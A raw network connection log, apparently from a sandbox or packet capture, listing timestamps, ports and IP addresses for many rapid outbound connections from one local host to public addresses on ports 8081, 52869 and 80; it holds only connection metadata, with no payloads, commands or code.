Jul 20, 2024 23:00:59.772099972 CEST	50565	8081	192.168.2.13	197.77.161.56
Jul 20, 2024 23:00:59.772099972 CEST	50565	8081	192.168.2.13	171.176.70.217
Jul 20, 2024 23:00:59.772099972 CEST	50565	8081	192.168.2.13	102.122.202.88
Jul 20, 2024 23:00:59.772099972 CEST	50565	8081	192.168.2.13	118.20.111.27
Jul 20, 2024 23:00:59.772099972 CEST	50565	8081	192.168.2.13	218.162.241.17
Jul 20, 2024 23:00:59.772099972 CEST	50565	8081	192.168.2.13	121.97.219.245
Jul 20, 2024 23:00:59.772099972 CEST	50565	8081	192.168.2.13	98.211.164.50
Jul 20, 2024 23:00:59.772099972 CEST	50565	8081	192.168.2.13	186.24.241.36
Jul 20, 2024 23:00:59.772588015 CEST	50565	8081	192.168.2.13	108.22.173.13
Jul 20, 2024 23:00:59.772588015 CEST	50565	8081	192.168.2.13	13.167.225.102
Jul 20, 2024 23:00:59.772588015 CEST	43078	8081	192.168.2.13	179.214.55.135
Jul 20, 2024 23:00:59.772588015 CEST	41808	52869	192.168.2.13	173.70.195.138
Jul 20, 2024 23:00:59.779639006 CEST	50565	8081	192.168.2.13	61.91.168.225
Jul 20, 2024 23:00:59.784466028 CEST	50565	8081	192.168.2.13	46.238.147.125
Jul 20, 2024 23:00:59.784466028 CEST	50565	8081	192.168.2.13	60.254.0.165
Jul 20, 2024 23:00:59.784466982 CEST	50565	8081	192.168.2.13	180.136.0.179
Jul 20, 2024 23:00:59.784466982 CEST	50565	8081	192.168.2.13	53.29.149.95
Jul 20, 2024 23:00:59.784466982 CEST	50565	8081	192.168.2.13	37.84.95.254
Jul 20, 2024 23:00:59.784466982 CEST	50565	8081	192.168.2.13	58.165.154.108
Jul 20, 2024 23:00:59.784466982 CEST	50565	8081	192.168.2.13	100.8.22.181
Jul 20, 2024 23:00:59.784466982 CEST	50565	8081	192.168.2.13	71.243.166.95
Jul 20, 2024 23:00:59.785003901 CEST	50565	8081	192.168.2.13	1.193.6.3
Jul 20, 2024 23:00:59.785003901 CEST	50565	8081	192.168.2.13	47.192.67.78
Jul 20, 2024 23:00:59.785003901 CEST	50565	8081	192.168.2.13	207.120.252.102
Jul 20, 2024 23:00:59.785003901 CEST	50565	8081	192.168.2.13	17.152.54.110
Jul 20, 2024 23:00:59.785003901 CEST	50565	8081	192.168.2.13	162.1.51.245
Jul 20, 2024 23:00:59.785003901 CEST	50565	8081	192.168.2.13	217.210.5.184
Jul 20, 2024 23:00:59.785003901 CEST	50565	8081	192.168.2.13	8.153.117.43
Jul 20, 2024 23:00:59.785003901 CEST	50565	8081	192.168.2.13	45.4.100.124
Jul 20, 2024 23:00:59.785471916 CEST	50565	8081	192.168.2.13	12.145.52.11
Jul 20, 2024 23:00:59.785471916 CEST	50565	8081	192.168.2.13	156.21.27.248
Jul 20, 2024 23:00:59.785471916 CEST	50565	8081	192.168.2.13	181.151.212.202
Jul 20, 2024 23:00:59.785471916 CEST	50565	8081	192.168.2.13	186.163.29.106
Jul 20, 2024 23:00:59.785471916 CEST	50565	8081	192.168.2.13	125.177.39.38
Jul 20, 2024 23:00:59.785471916 CEST	50565	8081	192.168.2.13	142.52.48.226
Jul 20, 2024 23:00:59.785471916 CEST	50565	8081	192.168.2.13	39.36.144.38
Jul 20, 2024 23:00:59.786715984 CEST	59844	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:59.792392969 CEST	80	59844	88.110.99.36	192.168.2.13
Jul 20, 2024 23:00:59.796751976 CEST	80	32918	88.204.108.175	192.168.2.13
Jul 20, 2024 23:00:59.800525904 CEST	40664	8081	192.168.2.13	118.88.197.138
Jul 20, 2024 23:00:59.800873041 CEST	50565	8081	192.168.2.13	50.48.224.20
Jul 20, 2024 23:00:59.800873995 CEST	50565	8081	192.168.2.13	170.178.178.177
Jul 20, 2024 23:00:59.800873995 CEST	50565	8081	192.168.2.13	12.239.139.184
Jul 20, 2024 23:00:59.800873995 CEST	50565	8081	192.168.2.13	47.192.232.169
Jul 20, 2024 23:00:59.800873995 CEST	50565	8081	192.168.2.13	200.211.245.199
Jul 20, 2024 23:00:59.800873995 CEST	50565	8081	192.168.2.13	186.252.28.16
Jul 20, 2024 23:00:59.800873995 CEST	50565	8081	192.168.2.13	37.135.178.255
Jul 20, 2024 23:00:59.800873995 CEST	50565	8081	192.168.2.13	124.120.126.120
Jul 20, 2024 23:00:59.801350117 CEST	50565	8081	192.168.2.13	139.194.244.252
Jul 20, 2024 23:00:59.801350117 CEST	50565	8081	192.168.2.13	51.107.50.140
Jul 20, 2024 23:00:59.801350117 CEST	50565	8081	192.168.2.13	78.132.242.214
Jul 20, 2024 23:00:59.801350117 CEST	50565	8081	192.168.2.13	187.253.102.13
Jul 20, 2024 23:00:59.801350117 CEST	50565	8081	192.168.2.13	146.111.247.117
Jul 20, 2024 23:00:59.801351070 CEST	50565	8081	192.168.2.13	176.15.211.248
Jul 20, 2024 23:00:59.801351070 CEST	32918	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:59.801351070 CEST	50565	8081	192.168.2.13	59.149.85.161
Jul 20, 2024 23:00:59.801776886 CEST	50565	8081	192.168.2.13	1.171.148.2
Jul 20, 2024 23:00:59.801776886 CEST	50565	8081	192.168.2.13	37.108.174.235
Jul 20, 2024 23:00:59.801778078 CEST	50565	8081	192.168.2.13	9.232.8.132
Jul 20, 2024 23:00:59.801778078 CEST	33608	8081	192.168.2.13	168.104.48.153
Jul 20, 2024 23:00:59.801778078 CEST	33166	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:59.807020903 CEST	80	32918	88.204.108.175	192.168.2.13
Jul 20, 2024 23:00:59.837529898 CEST	38814	52869	192.168.2.13	52.185.40.220
Jul 20, 2024 23:00:59.839087963 CEST	60100	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:59.841559887 CEST	60368	8081	192.168.2.13	81.48.29.132
Jul 20, 2024 23:00:59.842689991 CEST	52869	38814	52.185.40.220	192.168.2.13
Jul 20, 2024 23:00:59.842745066 CEST	38814	52869	192.168.2.13	52.185.40.220
Jul 20, 2024 23:00:59.843359947 CEST	53024	52869	192.168.2.13	168.214.55.135
Jul 20, 2024 23:00:59.844795942 CEST	80	60100	88.110.99.36	192.168.2.13
Jul 20, 2024 23:00:59.844837904 CEST	60100	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:59.845588923 CEST	41622	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:59.845588923 CEST	41622	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:59.847099066 CEST	8081	60368	81.48.29.132	192.168.2.13
Jul 20, 2024 23:00:59.847146034 CEST	60368	8081	192.168.2.13	81.48.29.132
Jul 20, 2024 23:00:59.847506046 CEST	57784	8081	192.168.2.13	47.100.149.89
Jul 20, 2024 23:00:59.849773884 CEST	48204	52869	192.168.2.13	82.246.219.130
Jul 20, 2024 23:00:59.849802017 CEST	52869	53024	168.214.55.135	192.168.2.13
Jul 20, 2024 23:00:59.849852085 CEST	53024	52869	192.168.2.13	168.214.55.135
Jul 20, 2024 23:00:59.850006104 CEST	41886	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:59.850878954 CEST	80	41622	88.117.222.91	192.168.2.13
Jul 20, 2024 23:00:59.852051973 CEST	47182	8081	192.168.2.13	201.57.117.31
Jul 20, 2024 23:00:59.852452040 CEST	8081	57784	47.100.149.89	192.168.2.13
Jul 20, 2024 23:00:59.852583885 CEST	57784	8081	192.168.2.13	47.100.149.89
Jul 20, 2024 23:00:59.854729891 CEST	52869	48204	82.246.219.130	192.168.2.13
Jul 20, 2024 23:00:59.855055094 CEST	48204	52869	192.168.2.13	82.246.219.130
Jul 20, 2024 23:00:59.855211973 CEST	80	41886	88.117.222.91	192.168.2.13
Jul 20, 2024 23:00:59.855266094 CEST	41886	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:59.856580019 CEST	59558	52869	192.168.2.13	52.188.85.89
Jul 20, 2024 23:00:59.857455969 CEST	8081	47182	201.57.117.31	192.168.2.13
Jul 20, 2024 23:00:59.857510090 CEST	47182	8081	192.168.2.13	201.57.117.31
Jul 20, 2024 23:00:59.857547045 CEST	41668	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:59.857697010 CEST	41668	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:59.860498905 CEST	39360	8081	192.168.2.13	90.87.93.139
Jul 20, 2024 23:00:59.863624096 CEST	41938	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:59.864659071 CEST	45482	52869	192.168.2.13	202.179.114.114
Jul 20, 2024 23:00:59.865755081 CEST	39818	8081	192.168.2.13	109.42.180.137
Jul 20, 2024 23:00:59.869214058 CEST	52869	59558	52.188.85.89	192.168.2.13
Jul 20, 2024 23:00:59.869288921 CEST	59558	52869	192.168.2.13	52.188.85.89
Jul 20, 2024 23:00:59.869472027 CEST	80	41668	88.23.226.239	192.168.2.13
Jul 20, 2024 23:00:59.871349096 CEST	51192	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:59.871349096 CEST	51192	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:59.871984005 CEST	8081	39360	90.87.93.139	192.168.2.13
Jul 20, 2024 23:00:59.872426033 CEST	39360	8081	192.168.2.13	90.87.93.139
Jul 20, 2024 23:00:59.872808933 CEST	40844	52869	192.168.2.13	166.157.8.210
Jul 20, 2024 23:00:59.872925043 CEST	54064	8081	192.168.2.13	108.34.97.187
Jul 20, 2024 23:00:59.875761986 CEST	51470	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:59.876801014 CEST	80	41938	88.23.226.239	192.168.2.13
Jul 20, 2024 23:00:59.876936913 CEST	52869	45482	202.179.114.114	192.168.2.13
Jul 20, 2024 23:00:59.876986980 CEST	41938	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:59.876991987 CEST	8081	39818	109.42.180.137	192.168.2.13
Jul 20, 2024 23:00:59.877078056 CEST	39818	8081	192.168.2.13	109.42.180.137
Jul 20, 2024 23:00:59.877079010 CEST	45482	52869	192.168.2.13	202.179.114.114
Jul 20, 2024 23:00:59.877793074 CEST	37994	8081	192.168.2.13	168.216.127.173
Jul 20, 2024 23:00:59.878587961 CEST	80	51192	88.214.91.164	192.168.2.13
Jul 20, 2024 23:00:59.878683090 CEST	41794	52869	192.168.2.13	31.175.187.129
Jul 20, 2024 23:00:59.878911972 CEST	52869	40844	166.157.8.210	192.168.2.13
Jul 20, 2024 23:00:59.878938913 CEST	8081	54064	108.34.97.187	192.168.2.13
Jul 20, 2024 23:00:59.878958941 CEST	40844	52869	192.168.2.13	166.157.8.210
Jul 20, 2024 23:00:59.878985882 CEST	54064	8081	192.168.2.13	108.34.97.187
Jul 20, 2024 23:00:59.880839109 CEST	80	51470	88.214.91.164	192.168.2.13
Jul 20, 2024 23:00:59.880882025 CEST	51470	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:59.882041931 CEST	41192	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:59.882041931 CEST	41192	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:59.883469105 CEST	38086	8081	192.168.2.13	27.254.224.242
Jul 20, 2024 23:00:59.883673906 CEST	8081	37994	168.216.127.173	192.168.2.13
Jul 20, 2024 23:00:59.883733034 CEST	37994	8081	192.168.2.13	168.216.127.173
Jul 20, 2024 23:00:59.884357929 CEST	52869	41794	31.175.187.129	192.168.2.13
Jul 20, 2024 23:00:59.884417057 CEST	41794	52869	192.168.2.13	31.175.187.129
Jul 20, 2024 23:00:59.884526014 CEST	37840	52869	192.168.2.13	153.88.175.187
Jul 20, 2024 23:00:59.886504889 CEST	41478	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:59.887404919 CEST	80	41192	88.222.100.42	192.168.2.13
Jul 20, 2024 23:00:59.888397932 CEST	53538	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:00:59.890022039 CEST	8081	38086	27.254.224.242	192.168.2.13
Jul 20, 2024 23:00:59.890069962 CEST	38086	8081	192.168.2.13	27.254.224.242
Jul 20, 2024 23:00:59.890378952 CEST	44888	52869	192.168.2.13	202.159.56.129
Jul 20, 2024 23:00:59.890561104 CEST	52869	37840	153.88.175.187	192.168.2.13
Jul 20, 2024 23:00:59.890599012 CEST	37840	52869	192.168.2.13	153.88.175.187
Jul 20, 2024 23:00:59.892002106 CEST	46392	80	192.168.2.13	88.133.123.34
Jul 20, 2024 23:00:59.892002106 CEST	46392	80	192.168.2.13	88.133.123.34
Jul 20, 2024 23:00:59.892174006 CEST	80	41478	88.222.100.42	192.168.2.13
Jul 20, 2024 23:00:59.892220020 CEST	41478	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:59.892688990 CEST	80	41622	88.117.222.91	192.168.2.13
Jul 20, 2024 23:00:59.893656969 CEST	38386	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:00:59.893980980 CEST	8081	53538	179.192.54.138	192.168.2.13
Jul 20, 2024 23:00:59.894150972 CEST	53538	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:00:59.895843983 CEST	52869	44888	202.159.56.129	192.168.2.13
Jul 20, 2024 23:00:59.895879984 CEST	44888	52869	192.168.2.13	202.159.56.129
Jul 20, 2024 23:00:59.896002054 CEST	59994	52869	192.168.2.13	223.161.169.143
Jul 20, 2024 23:00:59.896229029 CEST	46686	80	192.168.2.13	88.133.123.34
Jul 20, 2024 23:00:59.897378922 CEST	80	46392	88.133.123.34	192.168.2.13
Jul 20, 2024 23:00:59.898052931 CEST	37536	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:00:59.898289919 CEST	80	48710	88.221.198.181	192.168.2.13
Jul 20, 2024 23:00:59.898416042 CEST	48710	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:59.899311066 CEST	8081	38386	120.212.148.136	192.168.2.13
Jul 20, 2024 23:00:59.899463892 CEST	38386	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:00:59.901290894 CEST	53184	52869	192.168.2.13	47.131.156.7
Jul 20, 2024 23:00:59.901462078 CEST	52869	59994	223.161.169.143	192.168.2.13
Jul 20, 2024 23:00:59.901506901 CEST	59994	52869	192.168.2.13	223.161.169.143
Jul 20, 2024 23:00:59.901711941 CEST	80	46686	88.133.123.34	192.168.2.13
Jul 20, 2024 23:00:59.901767015 CEST	44468	80	192.168.2.13	88.76.214.90
Jul 20, 2024 23:00:59.901779890 CEST	35386	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:59.901792049 CEST	53846	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:59.901797056 CEST	45272	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:59.901797056 CEST	45364	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:59.901834011 CEST	34694	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:59.901843071 CEST	50738	80	192.168.2.13	88.91.21.190
Jul 20, 2024 23:00:59.901843071 CEST	46686	80	192.168.2.13	88.133.123.34
Jul 20, 2024 23:00:59.901843071 CEST	57014	80	192.168.2.13	88.50.180.63
Jul 20, 2024 23:00:59.901882887 CEST	45864	80	192.168.2.13	88.103.153.43
Jul 20, 2024 23:00:59.901882887 CEST	49658	80	192.168.2.13	88.248.146.190
Jul 20, 2024 23:00:59.901882887 CEST	51826	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:59.901882887 CEST	39200	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:59.901882887 CEST	55366	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:59.901890039 CEST	49878	80	192.168.2.13	88.243.42.220
Jul 20, 2024 23:00:59.901962996 CEST	55966	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:59.901962996 CEST	51798	80	192.168.2.13	88.79.104.187
Jul 20, 2024 23:00:59.901962996 CEST	44276	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:59.901962996 CEST	52444	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:59.901992083 CEST	40316	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:59.902018070 CEST	52572	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:59.902116060 CEST	53902	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:59.902250051 CEST	58018	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:59.902251005 CEST	33438	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:59.902251005 CEST	49638	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:59.902251005 CEST	53918	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:59.902251005 CEST	53834	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:59.902251005 CEST	45256	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:59.902251005 CEST	60178	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:59.902292013 CEST	34564	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:59.902292967 CEST	40564	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:59.902292967 CEST	50620	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:59.902292967 CEST	50166	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:59.902292967 CEST	54314	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:59.902292967 CEST	38742	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:59.902292967 CEST	40978	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:59.902292967 CEST	47870	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:59.902457952 CEST	51280	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:59.902457952 CEST	51128	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:59.902457952 CEST	42702	80	192.168.2.13	88.147.170.219
Jul 20, 2024 23:00:59.902457952 CEST	55280	80	192.168.2.13	88.60.255.249
Jul 20, 2024 23:00:59.902457952 CEST	43198	80	192.168.2.13	88.233.245.46
Jul 20, 2024 23:00:59.902458906 CEST	39434	80	192.168.2.13	88.95.217.148
Jul 20, 2024 23:00:59.902458906 CEST	49858	80	192.168.2.13	88.28.171.163
Jul 20, 2024 23:00:59.902458906 CEST	36934	80	192.168.2.13	88.229.215.174
Jul 20, 2024 23:00:59.902678967 CEST	49382	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:59.902678967 CEST	46634	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:59.902678967 CEST	59482	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:59.902678967 CEST	39224	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:59.902678967 CEST	32800	80	192.168.2.13	88.42.123.165
Jul 20, 2024 23:00:59.902678967 CEST	43126	80	192.168.2.13	88.203.34.200
Jul 20, 2024 23:00:59.902678967 CEST	37746	80	192.168.2.13	88.115.87.106
Jul 20, 2024 23:00:59.902918100 CEST	38190	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:59.902918100 CEST	34592	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:59.902918100 CEST	52010	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:59.902918100 CEST	47842	80	192.168.2.13	88.91.94.195
Jul 20, 2024 23:00:59.902918100 CEST	56732	80	192.168.2.13	88.10.119.162
Jul 20, 2024 23:00:59.902919054 CEST	54918	80	192.168.2.13	88.51.29.49
Jul 20, 2024 23:00:59.902919054 CEST	53304	80	192.168.2.13	88.46.192.156
Jul 20, 2024 23:00:59.902919054 CEST	34928	80	192.168.2.13	88.173.127.131
Jul 20, 2024 23:00:59.903198957 CEST	8081	37536	1.190.106.28	192.168.2.13
Jul 20, 2024 23:00:59.903589010 CEST	36162	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:59.903589010 CEST	56764	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:59.903589010 CEST	35566	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:59.903589010 CEST	33530	80	192.168.2.13	88.72.206.136
Jul 20, 2024 23:00:59.903589010 CEST	36468	80	192.168.2.13	88.172.217.29
Jul 20, 2024 23:00:59.903589010 CEST	41770	80	192.168.2.13	88.191.74.35
Jul 20, 2024 23:00:59.903589010 CEST	42258	80	192.168.2.13	88.59.14.239
Jul 20, 2024 23:00:59.903589964 CEST	44208	80	192.168.2.13	88.207.39.160
Jul 20, 2024 23:00:59.903793097 CEST	42156	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:59.903793097 CEST	60706	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:59.903793097 CEST	43696	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:59.903793097 CEST	40250	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:59.903793097 CEST	53922	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:59.903793097 CEST	54690	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:59.903793097 CEST	33222	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:59.903793097 CEST	55320	80	192.168.2.13	88.11.53.195
Jul 20, 2024 23:00:59.904000044 CEST	41116	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:59.904000044 CEST	42238	80	192.168.2.13	88.185.18.207
Jul 20, 2024 23:00:59.904000044 CEST	35426	80	192.168.2.13	88.84.148.82
Jul 20, 2024 23:00:59.904000044 CEST	60100	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:59.904000044 CEST	51470	80	192.168.2.13	88.214.91.164
Jul 20, 2024 23:00:59.904000044 CEST	50568	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:00:59.904088020 CEST	38628	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:59.904088020 CEST	52278	80	192.168.2.13	88.45.43.209
Jul 20, 2024 23:00:59.904088020 CEST	60806	80	192.168.2.13	88.57.169.186
Jul 20, 2024 23:00:59.904088020 CEST	59148	80	192.168.2.13	88.92.124.171
Jul 20, 2024 23:00:59.904088020 CEST	50568	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:00:59.904088020 CEST	50568	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:00:59.904088020 CEST	50568	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:00:59.904088974 CEST	50568	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:00:59.906135082 CEST	37458	80	192.168.2.13	88.39.167.212
Jul 20, 2024 23:00:59.906135082 CEST	50826	80	192.168.2.13	88.182.133.67
Jul 20, 2024 23:00:59.906135082 CEST	39832	80	192.168.2.13	88.144.85.68
Jul 20, 2024 23:00:59.906135082 CEST	33096	80	192.168.2.13	88.168.133.200
Jul 20, 2024 23:00:59.906136036 CEST	39488	80	192.168.2.13	88.194.170.76
Jul 20, 2024 23:00:59.906136036 CEST	33166	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:59.906136036 CEST	50568	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:00:59.906136036 CEST	50568	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:00:59.906306982 CEST	55966	80	192.168.2.13	88.72.207.1
Jul 20, 2024 23:00:59.906306982 CEST	54894	80	192.168.2.13	88.95.76.231
Jul 20, 2024 23:00:59.906306982 CEST	41478	80	192.168.2.13	88.222.100.42
Jul 20, 2024 23:00:59.906306982 CEST	50568	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:00:59.906306982 CEST	50568	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:00:59.906306982 CEST	50568	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:00:59.906306982 CEST	50568	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:00:59.906306982 CEST	50568	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:00:59.906354904 CEST	37746	80	192.168.2.13	88.188.103.1
Jul 20, 2024 23:00:59.906354904 CEST	32876	80	192.168.2.13	88.139.53.242
Jul 20, 2024 23:00:59.906354904 CEST	57564	80	192.168.2.13	88.55.81.133
Jul 20, 2024 23:00:59.906354904 CEST	34820	80	192.168.2.13	88.235.23.149
Jul 20, 2024 23:00:59.906354904 CEST	45002	80	192.168.2.13	88.179.97.55
Jul 20, 2024 23:00:59.906354904 CEST	37876	80	192.168.2.13	88.130.132.206
Jul 20, 2024 23:00:59.906354904 CEST	41886	80	192.168.2.13	88.117.222.91
Jul 20, 2024 23:00:59.906354904 CEST	50568	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:00:59.906599045 CEST	52869	53184	47.131.156.7	192.168.2.13
Jul 20, 2024 23:00:59.906773090 CEST	59672	80	192.168.2.13	88.11.238.53
Jul 20, 2024 23:00:59.906773090 CEST	41372	80	192.168.2.13	88.143.197.12
Jul 20, 2024 23:00:59.906773090 CEST	49872	80	192.168.2.13	88.36.207.19
Jul 20, 2024 23:00:59.906773090 CEST	39950	80	192.168.2.13	88.245.235.139
Jul 20, 2024 23:00:59.906773090 CEST	41044	80	192.168.2.13	88.31.145.92
Jul 20, 2024 23:00:59.906773090 CEST	50568	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:00:59.906773090 CEST	50568	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:00:59.906773090 CEST	50568	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:00:59.907310963 CEST	40490	80	192.168.2.13	88.47.144.213
Jul 20, 2024 23:00:59.907310963 CEST	58356	80	192.168.2.13	88.142.208.235
Jul 20, 2024 23:00:59.907310963 CEST	51708	80	192.168.2.13	88.217.111.86
Jul 20, 2024 23:00:59.907310963 CEST	53550	80	192.168.2.13	88.15.130.209
Jul 20, 2024 23:00:59.907310963 CEST	52458	80	192.168.2.13	88.28.231.133
Jul 20, 2024 23:00:59.907310963 CEST	44284	80	192.168.2.13	88.3.244.128
Jul 20, 2024 23:00:59.907310963 CEST	40424	80	192.168.2.13	88.178.196.213
Jul 20, 2024 23:00:59.907310963 CEST	40808	80	192.168.2.13	88.31.32.16
Jul 20, 2024 23:00:59.907314062 CEST	50568	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:00:59.907314062 CEST	50568	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:00:59.907314062 CEST	50568	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:00:59.907314062 CEST	50568	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:00:59.907314062 CEST	50568	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:00:59.907314062 CEST	50568	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:00:59.907314062 CEST	50568	80	192.168.2.13	88.26.20.160
Jul 20, 2024 23:00:59.907314062 CEST	50568	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:00:59.907881975 CEST	80	44468	88.76.214.90	192.168.2.13
Jul 20, 2024 23:00:59.908463955 CEST	50568	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:00:59.908463955 CEST	50568	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:00:59.908463955 CEST	50568	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:00:59.908463955 CEST	50568	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:00:59.908463955 CEST	50568	80	192.168.2.13	88.191.85.56
Jul 20, 2024 23:00:59.908463955 CEST	50568	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:00:59.908463955 CEST	50568	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:00:59.908633947 CEST	50568	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:00:59.908633947 CEST	50568	80	192.168.2.13	88.191.187.105
Jul 20, 2024 23:00:59.908633947 CEST	50568	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:00:59.908633947 CEST	50568	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:00:59.908633947 CEST	50568	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:00:59.908633947 CEST	50568	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:00:59.908633947 CEST	50568	80	192.168.2.13	88.2.182.131
Jul 20, 2024 23:00:59.908633947 CEST	50568	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:00:59.909321070 CEST	80	35386	88.236.162.163	192.168.2.13
Jul 20, 2024 23:00:59.909323931 CEST	50568	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:00:59.909323931 CEST	50568	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:00:59.909323931 CEST	50568	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:00:59.909323931 CEST	50568	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:00:59.909323931 CEST	50568	80	192.168.2.13	88.98.173.186
Jul 20, 2024 23:00:59.909323931 CEST	50568	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:00:59.909323931 CEST	50568	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:00:59.909323931 CEST	50568	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:00:59.909564972 CEST	80	53846	88.124.234.147	192.168.2.13
Jul 20, 2024 23:00:59.909595013 CEST	80	45864	88.103.153.43	192.168.2.13
Jul 20, 2024 23:00:59.909621954 CEST	80	40316	88.12.158.127	192.168.2.13
Jul 20, 2024 23:00:59.909648895 CEST	80	55966	88.124.135.162	192.168.2.13
Jul 20, 2024 23:00:59.909676075 CEST	80	45272	88.114.68.157	192.168.2.13
Jul 20, 2024 23:00:59.909703970 CEST	80	49878	88.243.42.220	192.168.2.13
